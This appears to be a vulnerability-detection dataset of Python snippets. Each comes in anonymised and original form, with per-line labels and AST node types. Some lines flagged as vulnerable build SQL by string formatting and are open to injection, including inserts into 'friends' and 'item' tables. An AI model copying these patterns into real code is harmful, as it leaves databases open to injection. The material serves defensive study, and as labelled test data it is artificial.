[ "def validate(self):...\n", "super(BlogPost, self).validate()\n", "if not self.blog_intro:\n", "self.blog_intro = self.content[:140]\n", "if self.blog_intro:\n", "self.blog_intro = strip_html_tags(self.blog_intro)\n", "self.blog_intro = self.blog_intro[:140]\n", "if self.published and not self.published_on:\n", "self.published_on = today()\n", "frappe.db.sql(\n \"\"\"update tabBlogger set posts=(select count(*) from `tabBlog Post`\n\t\t\twhere ifnull(blogger,'')=tabBlogger.name)\n\t\t\twhere name=%s\"\"\"\n , (self.blogger,))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Expr'" ]
[ "@patch('invenio.ext.session.interface.SessionInterface.save_session')...\n", "from invenio.modules.oauthclient.client import oauth\n", "VAR_9 = MagicMock()\n", "VAR_9.get_id = MagicMock(return_value=1)\n", "VAR_9.is_authenticated = MagicMock(return_value=True)\n", "VAR_10 = c.get(url_for('oauthclient.login', remote_app='full'))\n", "assert VAR_10.status_code == 302\n", "assert VAR_10.location.startswith(oauth.remote_apps['full'].authorize_url)\n", "self.mock_response(VAR_5='full', VAR_6=dict(error_uri=\n 'http://developer.github.com/v3/oauth/#bad-verification-code',\n error_description='The code passed is incorrect or expired.', error=\n 'bad_verification_code'))\n", "VAR_10 = c.get(url_for('oauthclient.authorized', remote_app='full', code=\n 'test'))\n", "assert VAR_10.status_code == 302\n" ]
[ "@patch('invenio.ext.session.interface.SessionInterface.save_session')...\n", "from invenio.modules.oauthclient.client import oauth\n", "user = MagicMock()\n", "user.get_id = MagicMock(return_value=1)\n", "user.is_authenticated = MagicMock(return_value=True)\n", "res = c.get(url_for('oauthclient.login', remote_app='full'))\n", "assert res.status_code == 302\n", "assert res.location.startswith(oauth.remote_apps['full'].authorize_url)\n", "self.mock_response(app='full', data=dict(error_uri=\n 'http://developer.github.com/v3/oauth/#bad-verification-code',\n error_description='The code passed is incorrect or expired.', error=\n 'bad_verification_code'))\n", "res = c.get(url_for('oauthclient.authorized', remote_app='full', code='test'))\n", "assert res.status_code == 302\n" ]
[ 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "ImportFrom'", "Assign'", "Assign'", "Assign'", "Assign'", "Assert'", "Assert'", "Expr'", "Assign'", "Assert'" ]
[ "@property...\n", "return (file for VAR_13 in self.rules for file in chain(VAR_13.input,\n VAR_13.output) if not callable(file) and not file.contains_wildcard())\n" ]
[ "@property...\n", "return (file for rule in self.rules for file in chain(rule.input, rule.\n output) if not callable(file) and not file.contains_wildcard())\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "def FUNC_42(self):...\n", "VAR_54 = 0\n", "for VAR_40, VAR_41 in sorted(self._names.items(), VAR_44=lambda item: item[\n", "VAR_57, VAR_42 = VAR_41\n", "for item in self[VAR_54:]:\n", "if VAR_42 is None:\n", "yield None, item\n", "VAR_42 = VAR_57 + 1\n", "if VAR_57 > VAR_54:\n", "for item in self[VAR_54:VAR_57]:\n", "yield VAR_40, getattr(self, VAR_40)\n", "yield None, item\n", "VAR_54 = VAR_42\n" ]
[ "def allitems(self):...\n", "next = 0\n", "for name, index in sorted(self._names.items(), key=lambda item: item[1][0]):\n", "start, end = index\n", "for item in self[next:]:\n", "if end is None:\n", "yield None, item\n", "end = start + 1\n", "if start > next:\n", "for item in self[next:start]:\n", "yield name, getattr(self, name)\n", "yield None, item\n", "next = end\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "For", "Assign'", "For", "Condition", "Expr'", "Assign'", "Condition", "For", "Expr'", "Expr'", "Assign'" ]
[ "def FUNC_4(self, VAR_11='', VAR_12=None, VAR_13=None, VAR_6=None):...\n", "VAR_5 = self.session.query(self.obj)\n", "VAR_5 = self._get_base_query(VAR_5=query, VAR_6=filters)\n", "VAR_25 = VAR_5.all()\n", "VAR_26 = GroupByCol(VAR_11, 'Group by')\n", "return VAR_26.apply(VAR_25)\n" ]
[ "def query_simple_group(self, group_by='', aggregate_func=None,...\n", "query = self.session.query(self.obj)\n", "query = self._get_base_query(query=query, filters=filters)\n", "query_result = query.all()\n", "group = GroupByCol(group_by, 'Group by')\n", "return group.apply(query_result)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Return'" ]
[ "\"\"\"string\"\"\"\n", "import typing\n", "import wordnik.swagger as swagger\n", "import wordnik.WordApi as wordapi\n", "import wordnik.models.Definition as definition\n", "import neko\n", "VAR_0 = 'http://api.wordnik.com/v4'\n", "VAR_1 = 'all'\n", "def __init__(self):...\n", "self.__token = neko.get_token('wordnik')\n", "self.logger.info(f'Opening API client for Wordnik to {VAR_0}')\n", "self.client = swagger.ApiClient(self.__token, VAR_0)\n", "@neko.command(name='def', aliases=['define', 'def', 'dfn'], brief=...\n", "\"\"\"docstring\"\"\"\n", "def FUNC_1():...\n", "VAR_4 = wordapi.WordApi(self.client)\n", "return VAR_4.getDefinitions(VAR_3, sourceDictionaries=_dictionaries,\n includeRelated=True)\n" ]
[ "\"\"\"\nUtilises the free wordnik API.\n\nRequires an API key.\n\nSign up:\n http://www.wordnik.com/signup\n\nGet a key:\n http://developer.wordnik.com/\n\nThey seem to say they will send an email, however, I never got one. I checked\nin my settings and found the API key there.\n\nThe key should be stored in the tokens.json file under \"wordnik\\\"\n\"\"\"\n", "import typing\n", "import wordnik.swagger as swagger\n", "import wordnik.WordApi as wordapi\n", "import wordnik.models.Definition as definition\n", "import neko\n", "_api_endpoint = 'http://api.wordnik.com/v4'\n", "_dictionaries = 'all'\n", "def __init__(self):...\n", "self.__token = neko.get_token('wordnik')\n", "self.logger.info(f'Opening API client for Wordnik to {_api_endpoint}')\n", "self.client = swagger.ApiClient(self.__token, _api_endpoint)\n", "@neko.command(name='def', aliases=['define', 'def', 'dfn'], brief=...\n", "\"\"\"docstring\"\"\"\n", "def _define():...\n", "api = wordapi.WordApi(self.client)\n", "return api.getDefinitions(word, sourceDictionaries=_dictionaries,\n includeRelated=True)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Expr'", "Import'", "Import'", "Import'", "Import'", "Import'", "Assign'", "Assign'", "FunctionDef'", "Assign'", "Expr'", "Assign'", "Condition", "Docstring", "FunctionDef'", "Assign'", "Return'" ]
[ "def FUNC_8(self, VAR_5, VAR_7):...\n", "VAR_14 = 'insert into friends values(%d,%d);' % (VAR_7, VAR_5)\n", "VAR_11 = sql.insertDB(self.conn, VAR_14)\n", "return VAR_11\n" ]
[ "def followFriends(self, userid, friendid):...\n", "sqlText = 'insert into friends values(%d,%d);' % (friendid, userid)\n", "result = sql.insertDB(self.conn, sqlText)\n", "return result\n" ]
[ 0, 4, 4, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_0(self):...\n", "\"\"\"docstring\"\"\"\n", "self.callback({'success': True, 'completions': comps, 'uid': self.uid,\n 'vid': self.vid})\n", "logging.error(error)\n", "logging.debug(traceback.format_exc())\n", "self.callback({'success': False, 'error': str(error), 'uid': self.uid,\n 'vid': self.vid})\n" ]
[ "def run(self):...\n", "\"\"\"docstring\"\"\"\n", "self.callback({'success': True, 'completions': comps, 'uid': self.uid,\n 'vid': self.vid})\n", "logging.error(error)\n", "logging.debug(traceback.format_exc())\n", "self.callback({'success': False, 'error': str(error), 'uid': self.uid,\n 'vid': self.vid})\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_10(VAR_20, VAR_21):...\n", "return VAR_21[len(VAR_20):] if VAR_21.startswith(VAR_20) else VAR_21\n" ]
[ "def strip_prefix(prefix, s):...\n", "return s[len(prefix):] if s.startswith(prefix) else s\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_6(self):...\n", "if len(self.data) == 0:\n", "return None\n", "return self.data.pop(len(self.data) - 1)\n" ]
[ "def pop(self):...\n", "if len(self.data) == 0:\n", "return None\n", "return self.data.pop(len(self.data) - 1)\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Return'", "Return'" ]
[ "@VAR_0.route('/disconnect/<remote_app>/')...\n", "\"\"\"docstring\"\"\"\n", "if VAR_1 not in disconnect_handlers:\n", "return abort(404)\n", "return disconnect_handlers[VAR_1]()\n" ]
[ "@blueprint.route('/disconnect/<remote_app>/')...\n", "\"\"\"docstring\"\"\"\n", "if remote_app not in disconnect_handlers:\n", "return abort(404)\n", "return disconnect_handlers[remote_app]()\n" ]
[ 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Condition", "Return'", "Return'" ]
[ "def FUNC_0(VAR_2, VAR_3):...\n", "\"\"\"docstring\"\"\"\n", "VAR_5 = dict(external_id=resp.get('orcid'), external_method='orcid')\n", "return VAR_5\n" ]
[ "def account_info(remote, resp):...\n", "\"\"\"docstring\"\"\"\n", "account_info = dict(external_id=resp.get('orcid'), external_method='orcid')\n", "return account_info\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Return'" ]
[ "def FUNC_2(VAR_4):...\n", "VAR_11 = makeNGrams(VAR_4)\n", "print(VAR_11)\n", "VAR_12 = Ranking()\n", "VAR_6 = set()\n", "for ngram in VAR_11:\n", "VAR_15 = FUNC_3(' '.join(ngram))\n", "VAR_13 = FUNC_4(VAR_6)\n", "VAR_12.addNgram(VAR_15)\n", "for additionalStat in VAR_13:\n", "for record in VAR_15:\n", "VAR_12.addMoreStats(additionalStat)\n", "VAR_8 = VAR_12.getDocuments()\n", "VAR_6.add(record[1])\n", "return VAR_8\n" ]
[ "def getRanking(query):...\n", "ngrams = makeNGrams(query)\n", "print(ngrams)\n", "ranking = Ranking()\n", "ids = set()\n", "for ngram in ngrams:\n", "records = sendIndexReq(' '.join(ngram))\n", "additionalStatList = sendIndexDocumentReq(ids)\n", "ranking.addNgram(records)\n", "for additionalStat in additionalStatList:\n", "for record in records:\n", "ranking.addMoreStats(additionalStat)\n", "rankedList = ranking.getDocuments()\n", "ids.add(record[1])\n", "return rankedList\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Assign'", "Assign'", "For", "Assign'", "Assign'", "Expr'", "For", "For", "Expr'", "Assign'", "Expr'", "Return'" ]
[ "def __init__(self, VAR_2):...\n", "if current_app:\n", "current_app.logger.error(VAR_2)\n" ]
[ "def __init__(self, message):...\n", "if current_app:\n", "current_app.logger.error(message)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'" ]
[ "def FUNC_30(self, VAR_5):...\n", "def FUNC_32(VAR_19):...\n", "return dict((expr, vimsupport.VimExpressionToPythonType(expr)) for expr in\n VAR_19)\n" ]
[ "def _AddExtraConfDataIfNeeded(self, extra_data):...\n", "def BuildExtraConfData(extra_conf_vim_data):...\n", "return dict((expr, vimsupport.VimExpressionToPythonType(expr)) for expr in\n extra_conf_vim_data)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "FunctionDef'", "Return'" ]
[ "def FUNC_1(self):...\n", "VAR_2 = self.connect()\n", "VAR_3 = 'SELECT description FROM crimes;'\n", "VAR_2.close()\n", "cursor.execute(VAR_3)\n", "return cursor.fetchall()\n" ]
[ "def get_all_inputs(self):...\n", "connection = self.connect()\n", "query = 'SELECT description FROM crimes;'\n", "connection.close()\n", "cursor.execute(query)\n", "return cursor.fetchall()\n" ]
[ 0, 0, 0, 0, 4, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Expr'", "Expr'", "Return'" ]
[ "\"\"\"HTTP Handlers.\"\"\"\n", "import datetime\n", "import itertools\n", "import json\n", "import time\n", "import webapp2\n", "from google.appengine.api import app_identity\n", "from google.appengine.datastore import datastore_query\n", "from google.appengine.ext import ndb\n", "from components import auth\n", "from components import decorators\n", "from components import template\n", "from components import utils\n", "from . import acl\n", "from . import logscraper\n", "from . import models\n", "from . import on_error\n", "from . import ui\n", "\"\"\"Returns all the recent errors as a web page.\"\"\"\n", "@auth.autologin...\n", "\"\"\"docstring\"\"\"\n", "VAR_3 = int(float(self.request.get('end', 0)) or time.time())\n", "VAR_4 = int(float(self.request.get('start', 0)) or ui.\n _get_default_start_time() or 0)\n", "VAR_5 = self.request.get('modules')\n", "if VAR_5:\n", "VAR_5 = VAR_5.split(',')\n", "VAR_6 = bool(int(self.request.get('tainted', '1')))\n", "VAR_7 = utils.get_module_version_list(VAR_5, VAR_6)\n", "VAR_8, VAR_9, VAR_10 = logscraper.scrape_logs_for_errors(VAR_4, VAR_3, VAR_7)\n", "VAR_11 = {'errors': VAR_8, 'errors_count': sum(len(e.events) for e in VAR_8\n ), 'errors_version_count': len(set(itertools.chain.from_iterable(e.\n versions for e in VAR_8))), 'ignored': VAR_9, 'ignored_count': sum(len(\n i.events) for i in VAR_9), 'ignored_version_count': len(set(itertools.\n chain.from_iterable(i.versions for i in VAR_9))), 'xsrf_token': self.\n generate_xsrf_token()}\n", "VAR_11.update(ui._get_template_env(VAR_4, VAR_3, VAR_7))\n", "self.response.write(template.render('ereporter2/requests.html', VAR_11))\n", "\"\"\"Dumps information about single logged request.\"\"\"\n", "@auth.autologin...\n", "VAR_12 = logscraper._log_request_id(VAR_0)\n", "if not VAR_12:\n", "self.abort(404, detail='Request id was not found.')\n", "self.response.write(template.render('ereporter2/request.html', {'request':\n VAR_12}))\n", "\"\"\"Dumps information about reported client side errors.\"\"\"\n", "@auth.autologin...\n", "VAR_13 = int(self.request.get('limit', 100))\n", "VAR_14 = datastore_query.Cursor(urlsafe=self.request.get('cursor'))\n", "VAR_15, VAR_14, VAR_16 = models.Error.query().order(-models.Error.created_ts\n ).fetch_page(VAR_13, start_cursor=cursor)\n", "VAR_11 = {'cursor': VAR_14.urlsafe() if VAR_14 and VAR_16 else None,\n 'errors': VAR_15, 'limit': VAR_13, 'now': utils.utcnow()}\n", "self.response.out.write(template.render('ereporter2/errors.html', VAR_11))\n", "\"\"\"Dumps information about reported client side errors.\"\"\"\n", "@auth.autologin...\n", "VAR_17 = models.Error.get_by_id(int(VAR_1))\n", "if not VAR_17:\n", "self.abort(404, 'Error not found')\n", "VAR_11 = {'error': VAR_17, 'now': utils.utcnow()}\n", "self.response.out.write(template.render('ereporter2/error.html', VAR_11))\n", "@auth.autologin...\n", "VAR_18 = models.ErrorReportingMonitoring.query().fetch()\n", "VAR_18.sort(VAR_37=lambda x: x.created_ts)\n", "VAR_11 = {'silenced': VAR_18, 'xsrf_token': self.generate_xsrf_token()}\n", "self.response.out.write(template.render('ereporter2/silence.html', VAR_11))\n", "@auth.require(acl.is_ereporter2_editor)...\n", "VAR_19 = self.request.get('to_delete')\n", "if VAR_19:\n", "ndb.Key(models.ErrorReportingMonitoring, VAR_19).delete()\n", "VAR_33 = self.request.get('mute_type')\n", "self.get()\n", "VAR_17 = None\n", "\"\"\"Generate and emails an exception report.\"\"\"\n", "if VAR_33 in ('exception_type', 'signature'):\n", "@decorators.require_cronjob...\n", "VAR_17 = self.request.get(VAR_33)\n", "if not VAR_17:\n", "\"\"\"docstring\"\"\"\n", "self.abort(400)\n", "VAR_34 = self.request.get('silenced')\n", "VAR_20 = 'https://%s.appspot.com' % app_identity.get_application_id()\n", "VAR_35 = self.request.get('silenced_until')\n", "VAR_21 = VAR_20 + '/restricted/ereporter2/request/'\n", "if VAR_35 == 'T':\n", "VAR_22 = VAR_20 + '/restricted/ereporter2/report'\n", "VAR_35 = ''\n", "VAR_36 = self.request.get('threshold')\n", "VAR_23 = self.request.get('recipients', acl.get_ereporter2_recipients())\n", "VAR_37 = models.ErrorReportingMonitoring.error_to_key(VAR_17)\n", "VAR_24 = ui._generate_and_email_report(utils.get_module_version_list(None, \n False), VAR_23, VAR_21, VAR_22, {})\n", "if not VAR_34 and not VAR_35 and not VAR_36:\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "VAR_37.delete()\n", "VAR_39 = models.ErrorReportingMonitoring(VAR_37=key, VAR_17=error)\n", "if VAR_24:\n", "if VAR_34:\n", "self.response.write('Success.')\n", "self.response.write('Failed.')\n", "VAR_39.silenced = True\n", "if VAR_35:\n", "\"\"\"Deletes old error reports.\"\"\"\n", "VAR_39.silenced_until = datetime.datetime.strptime(VAR_35, '%Y-%m-%dT%H:%M')\n", "if VAR_36:\n", "@decorators.require_cronjob...\n", "VAR_39.threshold = int(VAR_36)\n", "VAR_39.put()\n", "VAR_25 = utils.utcnow() - on_error.ERROR_TIME_TO_LIVE\n", "VAR_18 = models.Error.query(models.Error.created_ts < VAR_25,\n default_options=ndb.QueryOptions(keys_only=True))\n", "VAR_26 = len(ndb.delete_multi(VAR_18))\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "self.response.write(str(VAR_26))\n", "\"\"\"string\"\"\"\n", "VAR_2 = ()\n", "def FUNC_4(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_27 = 'application/json', 'application/json; charset=utf-8'\n", "if self.request.headers.get('Content-Type').lower() not in VAR_27:\n", "VAR_38 = \"Expecting JSON body with content type 'application/json'\"\n", "VAR_28 = json.loads(self.request.body)\n", "self.abort(400, 'Not a valid json dict body')\n", "return VAR_28\n", "self.abort(400, VAR_38)\n", "if not isinstance(VAR_28, dict):\n" ]
[ "\"\"\"HTTP Handlers.\"\"\"\n", "import datetime\n", "import itertools\n", "import json\n", "import time\n", "import webapp2\n", "from google.appengine.api import app_identity\n", "from google.appengine.datastore import datastore_query\n", "from google.appengine.ext import ndb\n", "from components import auth\n", "from components import decorators\n", "from components import template\n", "from components import utils\n", "from . import acl\n", "from . import logscraper\n", "from . import models\n", "from . import on_error\n", "from . import ui\n", "\"\"\"Returns all the recent errors as a web page.\"\"\"\n", "@auth.autologin...\n", "\"\"\"docstring\"\"\"\n", "end = int(float(self.request.get('end', 0)) or time.time())\n", "start = int(float(self.request.get('start', 0)) or ui.\n _get_default_start_time() or 0)\n", "modules = self.request.get('modules')\n", "if modules:\n", "modules = modules.split(',')\n", "tainted = bool(int(self.request.get('tainted', '1')))\n", "module_versions = utils.get_module_version_list(modules, tainted)\n", "errors, ignored, _end_time = logscraper.scrape_logs_for_errors(start, end,\n module_versions)\n", "params = {'errors': errors, 'errors_count': sum(len(e.events) for e in\n errors), 'errors_version_count': len(set(itertools.chain.from_iterable(\n e.versions for e in errors))), 'ignored': ignored, 'ignored_count': sum\n (len(i.events) for i in ignored), 'ignored_version_count': len(set(\n itertools.chain.from_iterable(i.versions for i in ignored))),\n 'xsrf_token': self.generate_xsrf_token()}\n", "params.update(ui._get_template_env(start, end, module_versions))\n", "self.response.write(template.render('ereporter2/requests.html', params))\n", "\"\"\"Dumps information about single logged request.\"\"\"\n", "@auth.autologin...\n", "data = logscraper._log_request_id(request_id)\n", "if not data:\n", "self.abort(404, detail='Request id was not found.')\n", "self.response.write(template.render('ereporter2/request.html', {'request':\n data}))\n", "\"\"\"Dumps information about reported client side errors.\"\"\"\n", "@auth.autologin...\n", "limit = int(self.request.get('limit', 100))\n", "cursor = datastore_query.Cursor(urlsafe=self.request.get('cursor'))\n", "errors_found, cursor, more = models.Error.query().order(-models.Error.\n created_ts).fetch_page(limit, start_cursor=cursor)\n", "params = {'cursor': cursor.urlsafe() if cursor and more else None, 'errors':\n errors_found, 'limit': limit, 'now': utils.utcnow()}\n", "self.response.out.write(template.render('ereporter2/errors.html', params))\n", "\"\"\"Dumps information about reported client side errors.\"\"\"\n", "@auth.autologin...\n", "error = models.Error.get_by_id(int(error_id))\n", "if not error:\n", "self.abort(404, 'Error not found')\n", "params = {'error': error, 'now': utils.utcnow()}\n", "self.response.out.write(template.render('ereporter2/error.html', params))\n", "@auth.autologin...\n", "items = models.ErrorReportingMonitoring.query().fetch()\n", "items.sort(key=lambda x: x.created_ts)\n", "params = {'silenced': items, 'xsrf_token': self.generate_xsrf_token()}\n", "self.response.out.write(template.render('ereporter2/silence.html', params))\n", "@auth.require(acl.is_ereporter2_editor)...\n", "to_delete = self.request.get('to_delete')\n", "if to_delete:\n", "ndb.Key(models.ErrorReportingMonitoring, to_delete).delete()\n", "mute_type = self.request.get('mute_type')\n", "self.get()\n", "error = None\n", "\"\"\"Generate and emails an exception report.\"\"\"\n", "if mute_type in ('exception_type', 'signature'):\n", "@decorators.require_cronjob...\n", "error = self.request.get(mute_type)\n", "if not error:\n", "\"\"\"docstring\"\"\"\n", "self.abort(400)\n", "silenced = self.request.get('silenced')\n", "host_url = 'https://%s.appspot.com' % app_identity.get_application_id()\n", "silenced_until = self.request.get('silenced_until')\n", "request_id_url = host_url + '/restricted/ereporter2/request/'\n", "if silenced_until == 'T':\n", "report_url = host_url + '/restricted/ereporter2/report'\n", "silenced_until = ''\n", "threshold = self.request.get('threshold')\n", "recipients = self.request.get('recipients', acl.get_ereporter2_recipients())\n", "key = models.ErrorReportingMonitoring.error_to_key(error)\n", "result = ui._generate_and_email_report(utils.get_module_version_list(None, \n False), recipients, request_id_url, report_url, {})\n", "if not silenced and not silenced_until and not threshold:\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "key.delete()\n", "item = models.ErrorReportingMonitoring(key=key, error=error)\n", "if result:\n", "if silenced:\n", "self.response.write('Success.')\n", "self.response.write('Failed.')\n", "item.silenced = True\n", "if silenced_until:\n", "\"\"\"Deletes old error reports.\"\"\"\n", "item.silenced_until = datetime.datetime.strptime(silenced_until,\n '%Y-%m-%dT%H:%M')\n", "if threshold:\n", "@decorators.require_cronjob...\n", "item.threshold = int(threshold)\n", "item.put()\n", "old_cutoff = utils.utcnow() - on_error.ERROR_TIME_TO_LIVE\n", "items = models.Error.query(models.Error.created_ts < old_cutoff,\n default_options=ndb.QueryOptions(keys_only=True))\n", "out = len(ndb.delete_multi(items))\n", "self.response.headers['Content-Type'] = 'text/plain; charset=utf-8'\n", "self.response.write(str(out))\n", "\"\"\"Adds an error report.\n\n This one is open so errors like authentication reports are logged in too.\n This means we could get spammed a lot about it. Implement DDoS protection by\n rate limiting once a kid figures out.\n \"\"\"\n", "xsrf_token_enforce_on = ()\n", "def parse_body(self):...\n", "\"\"\"docstring\"\"\"\n", "expected = 'application/json', 'application/json; charset=utf-8'\n", "if self.request.headers.get('Content-Type').lower() not in expected:\n", "msg = \"Expecting JSON body with content type 'application/json'\"\n", "body = json.loads(self.request.body)\n", "self.abort(400, 'Not a valid json dict body')\n", "return body\n", "self.abort(400, msg)\n", "if not isinstance(body, dict):\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Expr'", "Import'", "Import'", "Import'", "Import'", "Import'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Expr'", "Condition", "Docstring", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Condition", "Assign'", "Condition", "Expr'", "Expr'", "Expr'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Assign'", "Condition", "Expr'", "Assign'", "Expr'", "Condition", "Assign'", "Expr'", "Assign'", "Expr'", "Condition", "Assign'", "Condition", "Expr'", "Assign'", "Expr'", "Assign'", "Expr'", "Condition", "Condition", "Assign'", "Condition", "Docstring", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Expr'", "Assign'", "Condition", "Condition", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Assign'", "Condition", "Condition", "Assign'", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Assign'", "FunctionDef'", "Docstring", "Assign'", "Condition", "Assign'", "Assign'", "Expr'", "Return'", "Expr'", "Condition" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "return self._base_dir\n" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "return self._base_dir\n" ]
[ 0, 0, 0 ]
[ "Condition", "Docstring", "Return'" ]
[ "def FUNC_0(self):...\n", "return self.get_serializer_class().setup_eager_loading(Action.objects.\n filter(published=True))\n" ]
[ "def get_queryset(self):...\n", "return self.get_serializer_class().setup_eager_loading(Action.objects.\n filter(published=True))\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_11(self, VAR_12):...\n", "VAR_5 = {}\n", "VAR_5['serverName'] = VAR_12['host']\n", "VAR_16 = self._cliq_run_xml('getServerInfo', VAR_5, False)\n", "VAR_33 = VAR_16.find('response')\n", "VAR_34 = VAR_33.attrib.get('result')\n", "if VAR_34 != '0':\n", "VAR_5 = {}\n", "VAR_5['serverName'] = VAR_12['host']\n", "VAR_5['initiator'] = VAR_12['initiator']\n", "self._cliq_run_xml('createServer', VAR_5)\n" ]
[ "def _create_server(self, connector):...\n", "cliq_args = {}\n", "cliq_args['serverName'] = connector['host']\n", "out = self._cliq_run_xml('getServerInfo', cliq_args, False)\n", "response = out.find('response')\n", "result = response.attrib.get('result')\n", "if result != '0':\n", "cliq_args = {}\n", "cliq_args['serverName'] = connector['host']\n", "cliq_args['initiator'] = connector['initiator']\n", "self._cliq_run_xml('createServer', cliq_args)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Expr'" ]
[ "def FUNC_16(VAR_24):...\n", "VAR_42 = logging.getLogger('ray')\n", "if VAR_21:\n", "VAR_53 = logging.StreamHandler(stream=new_stream)\n", "VAR_53.setFormatter(VAR_21.formatter)\n", "VAR_21.close()\n", "VAR_21 = VAR_53\n", "VAR_42.addHandler(VAR_21)\n" ]
[ "def try_update_handler(new_stream):...\n", "logger = logging.getLogger('ray')\n", "if _default_handler:\n", "new_handler = logging.StreamHandler(stream=new_stream)\n", "new_handler.setFormatter(_default_handler.formatter)\n", "_default_handler.close()\n", "_default_handler = new_handler\n", "logger.addHandler(_default_handler)\n" ]
[ 0, 0, 6, 6, 6, 6, 6, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Assign'", "Expr'", "Expr'", "Assign'", "Expr'" ]
[ "def FUNC_5(self, VAR_2, VAR_3='app.html', **VAR_4):...\n", "if self.is_api:\n", "self.write(VAR_2)\n", "self.render(VAR_3, VAR_2=page_json, **kw)\n" ]
[ "def page_render(self, page_json, template='app.html', **kw):...\n", "if self.is_api:\n", "self.write(page_json)\n", "self.render(template, page_json=page_json, **kw)\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'", "Expr'" ]
[ "def FUNC_6(self):...\n", "return self.request.user == self.get_object().author\n" ]
[ "def test_func(self):...\n", "return self.request.user == self.get_object().author\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_6(self, VAR_11='', VAR_6=None):...\n", "VAR_5 = self.session.query(self.obj)\n", "VAR_5 = self._get_base_query(VAR_5=query, VAR_6=filters)\n", "VAR_25 = VAR_5.all()\n", "VAR_27 = GroupByDateYear(VAR_11, 'Group by Year')\n", "return VAR_27.apply(VAR_25)\n" ]
[ "def query_year_group(self, group_by='', filters=None):...\n", "query = self.session.query(self.obj)\n", "query = self._get_base_query(query=query, filters=filters)\n", "query_result = query.all()\n", "group_year = GroupByDateYear(group_by, 'Group by Year')\n", "return group_year.apply(query_result)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Return'" ]
[ "def __init__(self, VAR_18, VAR_35=100, **VAR_16):...\n", "CLASS_17.__init__(self, VAR_18, VAR_35=length, VAR_37=errors.\n LOCATION_TOO_LONG, VAR_36=None, **kw)\n" ]
[ "def __init__(self, item, length=100, **kw):...\n", "VLength.__init__(self, item, length=length, length_error=errors.\n LOCATION_TOO_LONG, empty_error=None, **kw)\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_7(self, VAR_6):...\n", "\"\"\"docstring\"\"\"\n", "if self.connection:\n", "self.cursor.execute(\n 'insert into item (name, shoppinglistid) values (\"%s\", \"%s\")' % (VAR_6[\n 0], VAR_6[1]))\n", "self.connection.commit()\n" ]
[ "def add_item(self, item):...\n", "\"\"\"docstring\"\"\"\n", "if self.connection:\n", "self.cursor.execute(\n 'insert into item (name, shoppinglistid) values (\"%s\", \"%s\")' % (item[0\n ], item[1]))\n", "self.connection.commit()\n" ]
[ 0, 0, 0, 4, 4 ]
